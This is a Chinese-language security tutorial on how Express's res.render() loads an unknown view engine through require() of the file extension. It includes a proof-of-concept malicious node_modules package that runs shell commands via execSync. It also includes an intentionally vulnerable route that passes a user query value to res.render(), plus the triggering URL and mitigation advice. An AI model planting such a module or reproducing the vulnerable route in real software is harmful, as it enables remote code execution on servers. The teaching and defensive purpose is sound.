谈Express engine处理引擎的一个trick
字数 875 2025-08-23 18:31:34
Express引擎处理漏洞分析与利用教学
背景介绍
Express框架在处理模板引擎时存在一个有趣的安全问题,当使用res.render()方法渲染视图时,如果能够控制文件名和后缀,可能导致任意代码执行。这个漏洞在较高版本中已被修复,但理解其原理对于Web安全研究非常有价值。
核心流程分析
1. 渲染调用链
Express处理视图渲染的核心调用链如下:
render() -> View() -> tryRender -> this.engine()
2. 关键代码分析
render函数关键部分
app.render = function render(name, options, callback) {
// ...省略部分代码...
if (!view) {
var View = this.get('view');
view = new View(name, {
defaultEngine: this.get('view engine'),
root: this.get('views'),
engines: engines
});
// ...省略部分代码...
}
tryRender(view, renderOptions, done);
};
View构造函数关键部分
function View(name, options) {
var opts = options || {};
this.defaultEngine = opts.defaultEngine;
this.ext = extname(name);
this.name = name;
this.root = opts.root;
if (!this.ext && !this.defaultEngine) {
throw new Error('No default engine was specified and no extension was provided.');
}
var fileName = name;
if (!this.ext) {
// 从默认引擎获取扩展名
this.ext = this.defaultEngine[0] !== '.' ? '.' + this.defaultEngine : this.defaultEngine;
fileName += this.ext;
}
if (!opts.engines[this.ext]) {
// 加载引擎
var mod = this.ext.slice(1)
debug('require "%s"', mod)
// 默认引擎导出
var fn = require(mod).__express
if (typeof fn !== 'function') {
throw new Error('Module "' + mod + '" does not provide a view engine.')
}
opts.engines[this.ext] = fn
}
this.engine = opts.engines[this.ext];
this.path = this.lookup(fileName);
}
tryRender函数
function tryRender(view, options, callback) {
try {
view.render(options, callback);
} catch (err) {
callback(err);
}
}
漏洞原理
-
后缀处理问题:Express对文件后缀没有严格限制,任何后缀都会被接受(如
.ttt) -
动态加载机制:当遇到未知后缀时,Express会尝试:
- 去掉后缀的点(如
.ttt→ttt) - 使用
require('ttt')加载模块 - 检查模块是否导出
__express函数 - 如果存在,则使用该函数作为渲染引擎
- 去掉后缀的点(如
-
可控点:如果攻击者能够:
- 控制渲染的文件名和后缀
- 在
node_modules目录下放置恶意模块
就可以实现任意代码执行
漏洞利用步骤
1. 准备恶意模块
在node_modules目录下创建ttt文件夹,其中包含index.js文件:
exports.__express = function() {
console.log(require('child_process').execSync("id").toString());
}
2. 创建易受攻击的Express应用
app.set('view engine', 'ejs');
app.get('/', (req, res) => {
const page = req.query.filename;
res.render(page);
});
3. 触发漏洞
访问以下URL即可执行命令:
http://127.0.0.1/?filename=1.ttt
漏洞修复方案
-
后缀白名单:只允许特定的模板引擎后缀
-
引擎预注册:提前注册所有允许的引擎,不动态加载
-
路径限制:限制视图文件必须位于特定目录下
教学总结
-
关键点:
- Express动态加载模板引擎的机制
- 通过控制文件名和后缀可以触发模块加载
__express函数的特殊作用
-
防御建议:
- 始终使用最新版本的Express
- 避免直接使用用户输入作为渲染文件名
- 实施严格的后缀检查
-
CTF应用:
- 这类漏洞常出现在CTF的Web题目中
- 结合文件上传漏洞可能实现RCE
- 需要理解Node.js的模块加载机制
这个漏洞展示了框架动态加载机制可能带来的安全问题,理解其原理有助于开发更安全的应用程序和解决类似的安全挑战。